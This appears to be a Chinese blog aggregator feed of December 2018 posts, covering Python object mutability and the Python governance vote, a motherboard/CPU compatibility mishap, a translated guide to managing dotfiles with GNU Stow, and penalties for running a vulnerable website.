上回说道,我发现 Python 公民的身份竟然暗合毕达哥拉斯的哲学命题(万物皆数),真是百思不得其解。在梦里,我已经想出了答案。可是突然之间,游过来一条大蟒蛇,竟把答案吞掉了。我去找它理论,它就开始耍赖,吞自己的尾巴、屁股、肚子…最后把自己全吞下去了。唉,可怜我的答案就这么消失了。
今天,我继续跟大家聊聊 Python 中跟身份密切相关的一个话题吧,那就是对象的边界问题 。如你所知,我本来是一只猫,现在略具一些人性了,但在此转型期间却十分敏感,总能在细微之处浮想联翩,最后竟然也薄有所获,真是万幸了。希望我的分享,也能启发你收获哪怕一点点的感悟,那我就有万分的开心啦 :)

1、固定边界:自由与孤独

Python 中有一些公民向来我行我素,它们特立独行,与他人之边界划定得清清楚楚。客气的人称它们是定长对象,或者叫不可变对象,然而,懂得一些历史典故的人又叫它们是铁公鸡 。这个典故出自何处呢?亏得猫猫我曾恶补过一段历史知识,知道这指的正是激进的道家弟子杨朱。

损一毫利天下,不与也;悉天下奉一身,不取也;人人不损一毫,人人不利天下,天下治矣! ——春秋·杨朱

对于定长对象,你不能为它增加元素,不能为它减少元素,不能为它修改元素,甚至不能轻易地复制和删除它!(参见本公众号Python猫中关于字符串的系列文章,链接见文末)
这些对象自立于世,也自绝于世,你看它们长得是普普通通的,平平凡凡的,然而其灵魂却是自由自在的,其生命是富有尊严而不可侵犯的。若想与这些公民打交道,你就得依着它们的脾气,不可越雷池半步。
>>> t1 = ('Python', '猫')
>>> t2 = ('Python', '猫')
>>> t1 is t2  # 对象独立
False
>>> t1[1] = '蛇'  # 不可修改元素
TypeError  Traceback (most recent call last)
TypeError: 'tuple' object does not support item assignment
在上一篇文章里,我们见识了 Python 世界中的“特权种族”,而特权种族无一例外地都出身于定长对象。它们是一脉相承的,其存在的合理性也是相似的,那就是便于共用内存资源,提高内存使用效率。
上表就是定长对象的一份名单。可知,它们占据了多数。
定长对象的特性让我不由地想到一种人类,它们严守自己的边界,刻板而严谨,一心只在乎份内之事,默默承担下自己的责任,追求的是内在的自由。虽然也会时常与别人打交道,但是,它们不贪图扩大自己的利益,也不妄想要侵犯别人的领土。独立的个体养成了个人的品牌,它们的不变性成就了外人能有所依赖的确定性。
>>> key1 = 'Python 猫'
>>> key2 = ['someone else']

>>> dict1 = {key1 : '好人'}
 {'Python 猫': '好人'}

>>> dict2 = {key2 : '好人'}
TypeError  Traceback (most recent call last)
TypeError: unhashable type: 'list'
Python 为了维护定长对象的独立性/确定性,在编译机制上做了不少优化,例如 Intern 机制与常量合并机制。其中的好处,我已经多次提及了。
坏处也有,那就是孤独。它们的孤独不在于没有同类,而在于不能(不容易)复制自身。以字符串对象为例,你可以尝试多种多样的手段,然而到头来,却发现唯一通用的方法竟然要先把字符串“碎尸万段”,接着重新组装才行!
s0 = "Python猫"

# 以下7种方法,无法复制s0字符串,id(x)==id(s0)
s1 = s0
s2 = str(s0)
s3 = s0[:]
s4 = s0 + ''
s5 = '%s' % s0
s6 = s0 * 1
import copy
s7 = copy.copy(s0)

# 以下方法可以复制字符串,“打碎”再重组
s8 = "".join(s0)
哲学上有一个著名的脑洞题:假如把一个人粉碎成原子再组合,这个人还是原来的人么?这道题能令古往今来的哲学家打起架来,若是放到现今正火爆的电视节目《奇葩说》上,也能令辩手们“一本正经地胡说八道”个不休。
在 Python 的世界里,不存在这种烦恼,因为判定两个对象是否相同的标准是确定的,也即是看它们的 id 是否相等。因此,借助 Python 来回答这道题,答案会是:如果用 join() 方法把字符串粉碎成字符再组合,新的字符串不再是原来的字符串了。
过程很“残忍”,但总归能稍稍释缓自由个体的孤独感了吧。

2、弹性边界:开放与节制

与定长对象不同,变长对象/可变对象信奉的是另一套哲学。
它们思想开放,采取的是兼容并包的处事观,会因地制宜式伸缩边界。 以列表对象为例,它乐意接纳所有其它的对象,肯花费精力去动态规划,也不惧于拔掉身上所有的“毛”。
>>> l = ['Python', '猫']
>>> l.append('其它猫') # ['Python','猫','其它猫']
>>> l.pop(1)   # ['Python','其它猫']
>>> l.clear()  # []
这些大胆的行为,在定长对象那里,都是不可想象的。在变长对象身上,你似乎能感受到一种海纳百川的风范,相比之下,定长对象的铁公鸡形象则立马显得格局忒小了。
变长对象并非没有边界,相反,它们更在乎自身的边界,不惜花费大量的资源来维持动态的稳定。一旦边界确定下来,它们绝不会允许越界行为。跟某些编程语言动不动就数组越界不同,Python 不存在切片越界,因为切片操作始终被控制为边界范围之内,索引超出的部分会自动被舍弃。
>>> q=[1, 2, 3, 4, 5]

# 不允许索引越界
>>> q[10]
IndexError    Traceback (most recent call last)
IndexError: list index out of range

# 允许切片越界
>>> q[2:10]   # [3, 4, 5]
>>> q[-10:2]  # [1, 2]
变长对象在本质上是一种可伸缩的容器,其主要好处就是支持不断添加或者取出元素。对应到计算机硬件层面,就是不断申请或者释放内存空间。这类操作是代价昂贵的操作,为了减少开销,Python 聪明地设计了一套分配超额空间的机制
以列表为例,在内存足够的前提下,最初创建列表时不分配超额空间,第一次 append() 扩充列表时,Python 会根据下列公式分配超额空间,即分配大于列表实际元素个数的内存空间,此后,每次扩充操作先看是否有超额空间,有则直接使用,没有则重新计算,再次分配一个超额空间。
公式如下:

new_allocated = (newsize >> 3) + (newsize < 9 ? 3 : 6)

其中,new_allocated 指的是超额分配的内存大小,newsize 是扩充元素后的实际长度。
举例来说,一个长度为 4 的列表,append() 增加一个元素,此时实际长度为 5(即 newsize 为5),但是,Python 不会只给它分配 5 个内存空间,而是计算后给它超额分配 new_allocated == 3 个内存大小,所以最终加起来,该列表的元素实际占用的内存空间就是 8 。
如此一来,当列表再次扩充时,只要最终长度不大于 8 ,就不需要再申请新的内存空间。当扩充后长度等于 9 时,new_allocated 等于 7 ,即额外获得 7 个内存大小,以此类推。
以列表长度为横轴,以超额分配的内存大小为纵轴,我们就得到了如下美妙的图表:
超额分配的空间就是定长对象的软边界 ,这意味着它们在扩张时是有法度的,意味着它们在发展时是有大胆计划与适度节制的。如此看来,与定长对象的“固步自封”相比,变长对象就显得既开明又理智了。

3、结语

回头看前面提到的定长对象,我佩服它们独善其身的个性,虽然铁公鸡形象略显小气,但对人却无害,反而你能感受到其浓浓的 “富贵不能淫,贫贱不能移,威武不能屈” 的大丈夫气度。
再看变长对象,它们“本来无一物”,却能包容万物,对他人信任,对外部开放,更难得的是,它们张弛有度,孕生出的是无限的可能性。
这两种对象极大地满足了我对于 Python 世界的好奇心,也成为了我理解自己和人类世界的一种参照系。妙哉!妙哉!若你问,我更钦佩哪一类?喵呜,肚子有点饿啦,且容我去觅得一二小鱼干,喂饱肚子再说吧…

December 15, 2018 12:00 AM

December 13, 2018

anji66

七代的主板坑了八代的CPU

事情是这样的,天气冷了,电脑这东西说心肌梗塞就心肌梗塞了,上一周我自己的电脑南桥烧了,这周公司同事的电脑又烧主板了。传统生产型企业对电脑的要求足够简单,日常也就是office和ERP,所以除了我这个IT岗位外,其他部门的电脑配置就低不就高的原则来处理。行政部门给了预算,我写的配置单,采购下单买的配件,按部就班也就进行了。



组装过程顺风顺水

今天配件从某东来了,虽然我是强硬反东份子,但是公司的事嘛,我也不便说什么。某东还算快,隔天就到,当然没有我大天猫的电器城当天送的速度,检查了一下配件都齐全,型号也都对,那么二话不说,除了个静电后就来装机了,装CPU、插内存,背板走线,装主板,装硬盘,插线,一鼓作气干完了,噼里啪啦的拉来显示器接线通电。en.....,显示器没反应。

查找故障原因

先是怀疑内存没插好,换个槽,没反应。怀疑显示器或者信号线有问题,替换,没反应。尼玛,这就着急了,仔细看了下CPU风扇在转,主板灯亮。似乎没有故障现象。无奈,打主板厂商售后电话,告知现象,对方给的答复是插拔内存和CPU,我告诉他检查过了,不过CPU没去重插,就说稍后我再去试CPU,问对方,如果还是点不亮估计会是什么原因,该怎么办。厂商说那可能是质量问题,要退换货。无奈,打了某东的电话,报售后换货,对方告知要7天时间,瞬间崩溃。

找到奇葩的原因

网上没搜到有效信息,就去翻了下商品评论,大多数也都蛮不错了,在某东的相关问题里面看到有个说翻车了,点不亮,而另外一个人咨询是否支持9代CPU,我靠,我好像发现了什么,这种低配的板子会不会认代系CPU啊,马上又打厂家售后,厂家说,这款默认支持6代,现在7代也可以。尼玛我买的是8代的U,原因在这里。然后看到某东另外一块板子上面有一行小字:稳上非K8代酷睿。我买的那块板子没标,这下坑死了,顺道把采购同事也给坑了,又走退货流程,再走公司内部申购,补差价的流程,再下单,配件估计明天才会到了。


换了个支持八代U的板子,明天要是再点不亮,特么的我不能再吃攒机这碗饭了。尴尬,大写的~


by 西枫里 at December 13, 2018 06:36 AM

December 09, 2018

pythoncat

最新进展:关于 Python 治理模式的投票

后 Guido 时代,Python 社区的治理问题成为万众瞩目的问题(国内开发者似乎比较淡定…)。目前,关于 7 种治理模式的投票,已经进行到了一半,事情进展得是否顺利呢?核心开发者们对这些候选提案是什么看法呢,我们能否预测出最终的投票结果呢?
我对这些话题非常感兴趣,此前翻译了一篇《Python之父退位后,最高决策权花落谁家?》,介绍了 7 种治理提案的差异,还写了一篇《这件正在发生的事,关乎所有的Python开发者……》,介绍此次投票的前因与重要意义。至于本文,我整理了部分核心开发者的讨论内容,带领大家一窥此次重大投票的幕后,了解核心开发者的投票意向,最后,则是做了一个小小的预测。

1. Guido现身说了什么?

在提出与讨论这些治理提案期间,Guido 一直保持沉默,现如今,当投票环节正式开启后,他也终于现身了。
他提出了什么问题?表达了什么观点?以下内容整理自他的几次回帖。
(1)为某个/些 PEP 拉票,是否 OK?(注:他想发表对于某些 PEP 的看法,以及自己的投票建议,故询问此做法是否 OK ?)
(2)对投票系统的讨论,我不感兴趣,而对每个治理提案的细节的讨论又太吵闹(too high volume),所以我躲开了,只到现在才有空读/浏览完所有的提案。我希望大家不要因为我赞同哪个 PEP 而感到压迫,但我也希望大家是真正地想知道我偏向哪个 PEP。
(3)我不放心那些想把 PEP 流程固定死的治理提案,所以首选的提案就只剩下 8016 (指导委员会)和 8011 (三巨头)了。
(4)我不喜欢在初始的提案文档里就面面俱到,治理模型的结构应该要不易改变,而实施过程中的事情不能不易改变。(注:此话赞同了某核心开发者,后者提到 8016 通过选出委员会来决定如何行事)。
(5)对于引入外部投票,我表示要警惕。几个月前,Victor 提交 PR 来修改某些带政治意味的措辞,很多种族主义者跑来投反对意见,当修改被合入后,他们就抗议。我意识到 PEP-8014 有相应机制来应对这种事,但我个人宁愿不要邀请外人来参与我们的选举。
Guido 表示他将要详细写出对每个治理提案的看法,但从几次对话中已经能看出,他最偏向于 PEP-8016。他的意见得到了一些认可,核心开发者 Paul Moore 就表示,我们无法预知未来会发生的所有事情,因此就要求治理提案能够灵活地应对各种变化。
不过,Guido 还表示,他不会参与投票了。
有开发者劝他重新考虑。就看在剩下的几天里,他会不会改变主意了。

2. 其它开发者的看法?

由于不知道核心开发者的确切数量,不清楚投票的总体进展,我只能根据网站(https://discuss.python.org )上的相关话题,来做小样本的分析了。
在“哪个治理提案是你最喜欢的”话题下,共有 13 名核心开发者参与了讨论。在模拟投票中,有 10 人参与投票(每人最多投 3 票),结果显示,PEP-8016 获得8票,遥遥领先,紧随其后的是 PEP-8012 和 PEP-8015,各得到了 4 票。
值得注意的是,这个结果在 Guido 现身前就定型了,如此看来,PEP-8016 无疑是最受人青睐的。
国内开发者关注于此话题的人比较少,从唯二发起过模拟投票的公众号 (Python猫编程派 )的数据来看,总计 187 人参与投票,得票最高的前三名为:PEP-8010(52票,占比 28%),PEP-8015(40票,占比21%),PEP-8011(36票,占比19%)。(PS:需要说明的是,我们都无法参与官方投票,公众号中的模拟投票仅仅是一份娱乐性的民意调查。)
然而,对比核心开发者与“边缘开发者”发起的投票,两者的差异之大,颇值得玩味。为什么有这么大的差异呢?
在我们发起的“民意调查”中获得最高票的 PEP-8010,在核心开发者中并不怎么受欢迎。比如,在 Antoine Pitrou 看来,PEP-8010 就是他最不放心的提案,他不指名地说有两个人会竞选 BDFL,但是,其中一个心善却不一定能处理好多方压力,另一个则是争议性人物,若他当选 BDFL 则会成为“宣战的原因”(a casus belli)。
另一名核心开发者 Nathaniel J. Smith 也非常反对 PEP-8010,他以自己在一些小项目中担任 BDFL 的亲身经历,来说明被选成 BDFL 是多么“艰难和恐怖”(incredibly hard and scary),还为此打了个夸张的比方:

With PEP 8010 I feel like we’re trying to decide who to fly a 747, by voting, and none of the candidates have a pilot’s license。

由此可以看出,核心开发者在给治理提案投票的时候,不仅仅会考虑到提案本身,更重要的是,他们还考虑到由谁来落实新的治理提案。这就是“局中人”的视角了吧,跟我们这些“边缘人”的视角确实很不一样。这很好地解释了,为什么两份模拟投票会得到截然不同的结果。
明白了这一层逻辑,等到最终投票结果出来的时候,大家也许就不会感到太惊讶了吧。
那么,哪种治理提案最可能被选中呢?我在此预测,最终胜出的治理提案是…

December 09, 2018 12:00 AM

December 07, 2018

farseerfc

【譯】使用 GNU stow 管理你的點文件

譯註

這篇是翻譯自 Brandon Invergo 的博客的英文文章 Using GNU Stow to manage your dotfiles 。 Brandon Invergo 的博客採用 CC-BY-SA 3.0 授權,因此本文也同樣採用 CC-BY-SA 3.0 ,不同於其它我寫的文章是 CC-BY-NC-SA 4.0 授權。

我自己已經使用此文中介紹的方案管理 我自己的 dotfiles 快 3 年了。最早想採用這樣的管理方案是爲了方便在多臺 Arch Linux 系統之間同步配置, 後來逐漸主力系統也更新換代了一次,又同步到了自己的 vps 上去,目前管理多個 Arch Linux 上都多少都有這套配置。甚至裝好 Arch Linux 添加好用戶最初做的事情就是安裝 stow git 然後 clone 了我自己的 dotfiles repo 下來,然後按需取想要的配置,快捷方便有效。

廢話不多說,下面是原文和翻譯。與之前的翻譯一樣,正文部分給出原文引用以便對照參考。

使用 GNU stow 管理你的點文件

I accidentally stumbled upon something yesterday that I felt like sharing, which fell squarely into the "why the hell didn't I know about this before?" category. In this post, I'll describe how to manage the various configuration files in your GNU/Linux home directory (aka "dotfiles" like .bashrc) using GNU Stow.

我昨天偶然間發現一些我覺得值得分享的經驗,就是那種「爲毛我沒有早點知道這個?」那一類的。 我將在這篇文章中介紹如何使用 GNU Stow 管理你的 GNU/Linux 系統中位於用戶家目錄裏的各種配置文件 (通常又叫「點文件(dotfiles)」比如 .bashrc)。

The difficulty is that it would be helpful to manage one's configuration files with a version control system like Git, Mercurial or Bazaar, but many/most dotfiles reside at the top-level of your home directory, where it wouldn't be a good idea to initialize a VCS repository. Over time I've come across various programs which aim to manage this for you by keeping all the files in a subdirectory and then installing or linking them into their appropriate places. None of those programs ever really appealed to me. They would require a ton of dependencies (like Ruby and a ton of libraries for it) or they would require me to remember how to use them, which is difficult when really for such a task you rarely use the program.

這件事的困難之處在於,如果能用版本管理系統(VCS, Version Control System)比如 Git, Mercurial(hg), Bazaar(bzr) 管理點文件的話會非常方便,但是這些點文件大部分都位於家目錄的頂級目錄下, 在這個位置不太適合初始化一個版本管理倉庫。這些年下來我試過很多程序,設計目的在於解決這個問題, 幫你把這些配置文件安置在某個下級目錄中,然後安裝或者鏈接這些文件到它們應該在的位置。 嘗試下來這些程序沒有一個真正能打動我。它們要麼有很多依賴(比如 Ruby 和一大坨庫), 要麼需要我記住如何用它,考慮到同步配置這種不算經常使用的場合,要記住用法真的挺難。

Lately I've been using GNU Stow to manage programs I install from source to /usr/local/. Basically, in this typical usage, you install locally built packages to /usr/local/stow/${PKGNAME}-{PKGVERSION} and then from /usr/local/stow/ you run # stow ${PKGNAME}-${PKGVERSION} and the program generates symbolic links to all the programs' files into the appropriate places under /usr/local/. Then, when you uninstall a program via Stow, you don't have to worry about any stray files that you or a provide Makefile may have missed. It also makes handling alternate versions of a program quite easy (i.e. when I'm experimenting with different configurations of dwm or st).

最近我在用 GNU Stow 來管理我從源代碼在本地編譯安裝到 /​usr/​local/​ 中的一些程序。 基本上說,在這種常見用法下,是你把這些本地編譯的包配置安裝到 /​usr/​local/​stow/​${PKGNAME}-{PKGVERSION} 這樣的位置,然後在 /​usr/​local/​stow/​ 目錄中執行 # stow ${PKGNAME}-${PKGVERSION} ,然後它就會爲程序所有的文件創建符號鏈接放在 /​usr/​local 中合適的地方。然後當你想用 Stow 卸載這個程序的時候,就不必再考慮會留下什麼垃圾文件, 或者找不到安裝時用的 Makefile 了。這種安裝方式下也可以非常容易地切換一個程序的不同版本 (比如我想嘗試不同配置選項下的 dwm 或者 st 的時候)。

Some time ago I happened across a mailing list posting where someone described using Stow to manage the installation of their dotfiles. I didn't pay much attention to it but my brain must have filed it away for later. Yesterday I decided to give it a try and I have to say that it is so much more convenient than those other dedicated dotfile-management programs, even if it wasn't an immediately obvious option.

前段時間在我掃郵件列表的時候,看到某個帖子中某人在說使用 Stow 管理安裝他的點文件。 當時我沒特別在意這個帖子,但是大概我大腦潛意識把它歸檔保存爲今後閱讀了。 昨天我想起來試試這種用法,試過後我不得不說,這比那些專門設計用來做這任務的點文件管理器要方便太多了, 雖然表面上看起來這種用法沒那麼顯而易見。

The procedure is simple. I created the ${HOME}/dotfiles directory and then inside it I made subdirectories for all the programs whose cofigurations I wanted to manage. Inside each of those directories, I moved in all the appropriate files, maintaining the directory structure of my home directory. So, if a file normally resides at the top level of your home directory, it would go into the top level of the program's subdirectory. If a file normally goes in the default ${XDG_CONFIG_HOME}/${PKGNAME} location (${HOME}/.config/${PKGNAME}), then it would instead go in ${HOME}/dotfiles/${PKGNAME}/.config/${PKGNAME} and so on. Finally, from the dotfiles directory, you just run $ stow $PKGNAME and Stow will symlink all the package's configuration files to the appropriate locations. It's then easy to make the dotfiles a VCS repository so you can keep track of changes you make (plus it makes it so much easier to share configurations between different computers, which was my main reason to do it).

方法很簡單。我建了個 ${HOME}/​dotfiles 文件夾,然後在裏面爲我想管理的每個程序配置都 創建一個子文件夾。然後我把這些程序的配置從原本的家目錄移動到這每一個對應的子文件夾中, 並保持它們在家目錄中的文件夾結構。比如,如果某個文件原本應該位於家目錄的頂層文件夾裏, 那它現在應該放在這個程序名子目錄的頂層文件夾。如果某個配置文件通常應該位於默認的 ${XDG_CONFIG_HOME}/​${PKGNAME} 位置 ( ${HOME}/​.config/​${PKGNAME} ), 那麼現在它應該放在 ${HOME}/​dotfiles/​${PKGNAME}/​.config/​${PKGNAME} ,如此類推。然後在那個 dotfiles 文件夾裏面,直接運行 $ stow $PKGNAME 命令, Stow 就會爲你自動創建這些配置文件的符號鏈接到合適的位置。接下來就很容易爲這個 dotfiles 目錄初始化版本管理倉庫,從而記錄你對這些配置文件做的修改(並且這也可以極度簡化在不同電腦之間 共享配置,這也是我想要這麼做的主要原因)。

For example, let's say you want to manage the configuration for Bash, VIM and Uzbl. Bash has a couple files in the top-level directory; VIM typically has your .vimrc file on the top-level and a .vim directory; and Uzbl has files in ${XDG_CONFIG_HOME}/uzbl and ${XDG_DATA_HOME}/uzbl. So, your home directory looks like this:

舉個例子,比如說你想管理 Bash, VIM, Uzbl 這三個程序的配置文件。Bash 會在家目錄的頂層文件夾 放幾個文件; VIM 通常會有在頂層文件夾的 .vimrc 文件和 .vim 目錄;然後 Uzbl 的配置位於 ${XDG_CONFIG_HOME}/​uzbl 以及 ${XDG_DATA_HOME}/​uzbl 。於是在遷移配置前,你的家目錄的文件夾結構應該看起來像這樣:

home/
    brandon/
        .config/
            uzbl/
                [...some files]
        .local/
            share/
                uzbl/
                    [...some files]
        .vim/
            [...some files]
        .bashrc
        .bash_profile
        .bash_logout
        .vimrc
You would then create a dotfiles subdirectory and move all the files there:

然後遷移配置的方式是,應該建一個 dotfiles 子目錄,然後像這樣移動所有配置文件:

home/
    /brandon/
        .config/
        .local/
            .share/
        dotfiles/
            bash/
                .bashrc
                .bash_profile
                .bash_logout
            uzbl/
                .config/
                    uzbl/
                        [...some files]
                .local/
                    share/
                        uzbl/
                            [...some files]
            vim/
                .vim/
                    [...some files]
                .vimrc
Then, perform the following commands:

然後執行以下命令:

$ cd ~/dotfiles
$ stow bash
$ stow uzbl
$ stow vim
And, voila, all your config files (well, symbolic links to them) are all in the correct place, however disorganized that might be, while the actual files are all neatly organized in your dotfiles directory, which is easily turned into a VCS repo. One handy thing is that if you use multiple computers, which may not have the same software installed on them, you can pick and choose which configurations to install when you need them. All of your dotfiles are always available in your dotfiles directory, but if you don't need the configuration for one program, you simply don't Stow it and thus it does not clutter your home directory.

然後,瞬間,所有你的配置文件(的符號鏈接)就安安穩穩地放入了它們該在的地方,無論原本這些目錄結構 有多麼錯綜複雜,這樣安排之後的 dotfiles 文件夾內的目錄結構立刻整理得有條有理, 並且可以很容易地轉換成版本控制倉庫。非常有用的一點是,如果你有多臺電腦,可能這些電腦並沒有 安裝完全一樣的軟件集,那麼你可以手選一些你需要的軟件配置來安裝。在你的 dotfiles 文件夾中總是 可以找到所有的配置文件,但是如果你不需要某個程序的某份配置,那你就不對它執行 stow 命令,它就不會擾亂你的家目錄。

Well, that's all there is to it. Hopefully someone else out there finds this useful! I know I've found it to be a huge help.

嗯,以上就是整個用法介紹。希望能有別人覺得這個用法有用!我知道對我來說這個非常有幫助。

by farseerfc at December 07, 2018 06:35 PM

anji66

网站有漏洞会受到什么处罚?

事情呢,说来也很简单,那天贸贸然又接到嘉定分局网安支队的电话,被告知博主某网站有漏洞,被利用了,上传了有非法信息的恶意页面。然后问博主这网站还要不要,如果不要了赶紧关掉,如果还要的话,那要抓紧时间整改,网警要上门检查并可能会有一定的处罚措施。emmmm....



事情呢就是这么个事情,所以上个图给大家看下,博主被处罚了啥?


关于计算机信息网络国际联网安全保护管理办法

原文我就不贴了,网上有现成的,大家可以去搜来看看。几个要点,我提炼一下,首先这个是公安部的部门规章,它的直接上位法主要是《中华人民共和国计算机信息系统安全保护条例》、《中华人民共和国计算机信息网络国际联网管理暂行规定》。公安机关根据这个办法来管理互联网安全这块的工作,现在都是各网安支队、网安大队的事情。其次,这个办法的主要内容有三大方面,一个是发布信息规范的“九不准”,一个是黑客行为“五不允许”,一个是信息保密。


安全保护责任

这个简单理解就是涉网单位负责制,谁的网络产品谁负责,比如服务器安全由服务器运营者负责,网站由网站运营者负责。负责的措施就是各种技术保护、信息管理、应急处理、安全教育、通报公安等方面的工作,细化下来有很多措施,大家可以去看下。


违法责任

前面说的九不准、五不允许、信息保密,一旦违反,或者未尽到安全管理责任的将由公安机关给予警告,有违法所得的,没收违法所得,对个人可以并处5000元以下的罚款,对单位可以并处1.5万元以下的罚款;情节严重的,并可以给予6个月以内停止联网、停机整顿的处罚,必要时可以建议原发证、审批机构吊销经营许可证或者取消联网资格;构成违反治安管理行为的,依照治安管理处罚法的规定处罚;构成犯罪的,依法追究刑事责任。处罚划重点:最轻的是警告,它属于行政处罚,就像博主这次的这个,一般是初犯。严重的就会被罚款和停机整顿了。


by 西枫里 at December 07, 2018 04:19 AM

December 05, 2018

pythoncat

这件正在发生的事,关乎所有的Python开发者......

毫不夸张地说,Python 历史上的第二大事件正在发生,它事关所有的 Python 开发者,而且将深远地影响着未来的 Python 生态。这件事并不是指 Python 之父 Guido van Rossum 退出决策层,而是指由此引发的新的决策层级的建立
Python 诞生于 1989 年圣诞节期间,这无疑是其历史上的第一大事件。如今,按中国古人的说法,Python 到了而立之年,终于,要迎来一个重大的转折点了。30 年前,那叫新生,今天呢,乐观的结果会是重生,而悲观的结果则是…(别想了,不会发生的 :) )
为了照顾一些信息不灵通的读者,我先给大家回顾一下“前因”(资深的 Pythonista 请直接翻到第二节)。

1. Python之父的退位风波

作为 Python 的创始人以及重要的核心开发者,Guido van Rossum 一直享有至高的权力,被人称为“终身仁慈独裁者”。实际上,这个称呼不是 Python 社区独有的,有些开源组织的创始人也被其“门徒”这么称呼,例如Linux、Ubuntu、Perl 和 Scala 等。
这种赋予创始人至高裁决权力的做法,是一种明智的行为,可以保障一门新的编程语言顺利度过早期的艰难岁月,走上健康发展的道路。Python 之所以能从籍籍无名到如今近乎“呼风唤雨”,可以说,Python 之父是居功至伟。
然而,这种局面总归要被打破,就看是以什么方式了。今年上半年,社区提出了备受争议的 PEP-572 (赋值表达式,文末附了知乎链接),虽然,GUIDO 行使最终裁决权,批准了这个提案,但是,争议并没有平息。部分核心开发者的不信任与离开,还有社交媒体上伤人的话语,极大地刺激了 GUIDO ,直接导致他宣布退出决策层。平衡的局面被打破了,而且是以不那么友好的方式。
GUIDO 没有指定继任者,完全把问题抛给了核心开发者们:

那你们会怎么做呢?建立一套民主制度?无政府状态?还是专政?或是联邦制?

他退位的消息提得太突然,Python 的核心开发者们陷入了长达几个月的混乱中。仅从一些公开消息的蛛丝马迹中,我们就能看出来。
在 InfoWorld 的一篇采访稿(7月27日,链接见文末)中,GUIDO 透露:

他们已经同意给出提案的截止日期是2018年10月1日。我相信,到2018年11月1日,他们会选出一个合理的管理提案。到2019年1月1日,他们承诺会完成选举或任命负责人。

然而,这个进展并不那么顺利。下面是 7 种治理方案的 PEP 创建时间:

PEP-8010:2018-8-24 PEP-8011:2018-8-24 PEP-8012:2018-10-03 PEP-8013:2018-09-14 PEP-8014:2018-09-16 PEP-8015:2018-10-04 PEP-8016:2018-11-01

备选方案的数量之多,本身就反映出核心开发者之间意见分歧之大,而发布时间的间隔之长,其背后隐含的信息也是让人不容乐观。
随着进入今年最后一个月,核心开发者们不得不进入下一个议程,那就是投票。投票时间为期两周,从 12 月 1 日至 12 月 16 日。最终结果将在 12 月 17 日公布。

2.什么治理方案最合适?

以上,就是 Python 之父的退位风波。到了今天,风波并未平息,但是,这个投票的结果将直接决定风波的走向。我们都是见证者。
在上一篇推文《Python之父退位后,最高决策权花落谁家?》中,核心开发者之一 Victor Stinner 对 7 种备选方案做了全面的对比。由于他本人是 PEP-8015 的提出人,所以文章中明显带入了一些个人倾向。读者们可以根据我翻译的版本,先粗略了解一下,然后找具体的 PEP 阅读。
一千个读者,就有一千个哈姆雷特。如果你有投票权,你会投给哪种方案呢?为什么呢?在本文(公众号 Python猫 )末尾,我发起了一个投票,欢迎你去投票。
在我看来,无论哪种方案胜出,都不会是一个皆大欢喜的结果。理由很简单,决策权的争议大于 PEP-572 的争议,后者能令核心开发者愤而出走,前者更是可以。短期内,大家或许会相安无事,但不用多久,很可能就会有新的 PEP 作为导火索,给开发团队带来更大的不可调和的麻烦。
这种情况绝对无法避免,唯一的问题在于,哪种方案能将平衡状态维持得更久一点,哪种方案能更有效地调和新的矛盾?
有读者回复说,我们又没有投票权,这跟我们没关系,不用瞎操心。真的是这样么?我怀疑他没听说过什么叫蝴蝶效应 。特朗普当选美国总统的时候,很多人就有事不关己的想法,然而,到今天,全球局势、国内股市和就业形势,全都笼罩在这只蝴蝶的余风中动荡着。
也许,Python 社区的蝴蝶效应不会那么严重,毕竟,搞技术的极客们可不是政治家。但是,我劝有些同学不要毫不在意,至少,你该对自己的立身之技的未来,多留份心。

December 05, 2018 12:00 AM

December 02, 2018

pythoncat

Python 之父退位后,最高决策权花落谁家?

随着 Python 之父 Guido van Rossum 逐步卸任 BDFL,Python (本文特指CPython)的未来之路牵动了万千开发者的心。目前,Python 社区共提出了 7 种治理方案,其最终胜出者,将决定 Python 未来的发展方向和方式。此话题事关重大,任何 Python 开发者最好都有所了解。Python 的核心开发者之一、PEP-8015 的作者 Victor Stinner 对这 7 个治理提案做了全面的对比,我将其翻译如下:
作者Victor Stinner
题目: Comparison of the 7 governance PEPs
译者豌豆花下猫Python猫 公众号作者)
备注 :原文发布于11月6日,翻译基于11月27日版本
对几个治理提案(governance PEPs)的重要差异点,我做了一份比较。我选择忽略了一些不太重要的方面,比如专门的投票组织(详见每个PEP)。提取信息并总结它,这不是一件容易的事,所以我可能会出错。
我建议在给治理提案投票时,不要以它们的完整性来评判,而要聚焦其关于决策过程的部分,即谁能拍板做决策,以及怎么做?依我之见,那些还不够完整的 PEP 可以吸收其它 PEP 的创意(best ideas),来逐渐完善自身。

PEPs

来自 PEP 8000:
  • PEP 8010 - 技术领导人治理模式(The Technical Leader Governance Model)

    维持现状(continue status quo (ish))

    提案人: Barry Warsaw

  • PEP 8011 - 三巨头治理模式(Python Governance Model Lead by Trio of Pythonistas)

    类似现状,但三人决策

    提案人: Mariatta Wijaya, Barry Warsaw

  • PEP 8012 - 社区治理模式(The Community Governance Model)

    没有核心决策人

    提案人: Łukasz Langa

  • PEP 8013 - 外部治理模式(The External Governance Model)

    非核心监督(non-core oversight)

    提案人: Steve Dower

  • PEP 8014 - 大众治理模式(The Commons Governance Model)

    核心监督(core oversight)

    提案人: Jack Jansen

  • PEP 8015 - Python社区的组织模式(Organization of the Python community)

    将多数决策交给团队(push most decision-making to teams)

    提案人: Victor Stinner

  • PEP 8016 - 指导委员会模式(The Steering Council Model)

    引导治理的迭代(bootstrap iterating on governance)

    提案人: Nathaniel J. Smith, Donald Stufft

差异点

大多数 PEP 都有一个“最高决策层”(top of the hierarchy)(指导委员会,理事会,三巨头,GUIDO,等等),除了 PEP-8012 和 PEP-8014。
PEP 8011、8012 和 8015 定义了明确会参与决策过程的“工作组”(或“专家”或“Python 团队”),这可以视为第二级的决策层。
PEP 8014 允许所有人(任意 Python 用户)参与投票。PEP 8013 将核心开发者排除在决策委员会之外。除了这两个特例,其它所有的 PEP 中的决策过程都强依赖(strongly around)于核心开发者(候选人必须是核心开发者、只有核心开发者可以投票,等等)。
PEP 8010、8012、8013、8014 和 8016 提出了不信任投票 (No Confidence Vote)(译注:即弹劾,可将任期内的“执政人员”赶下台)。我不确定其它 PEP 若不包含这点,是否深思熟虑(deliberate)。我喜欢这个提议,所以,会把它加入到我提出的 PEP-8015 里 :)
PEP 8015 和 8016 严格限定了在委员会里,只允许少于 50% 的成员是企业(5人委员会里最多有2个)。其它 PEP 不设限制。
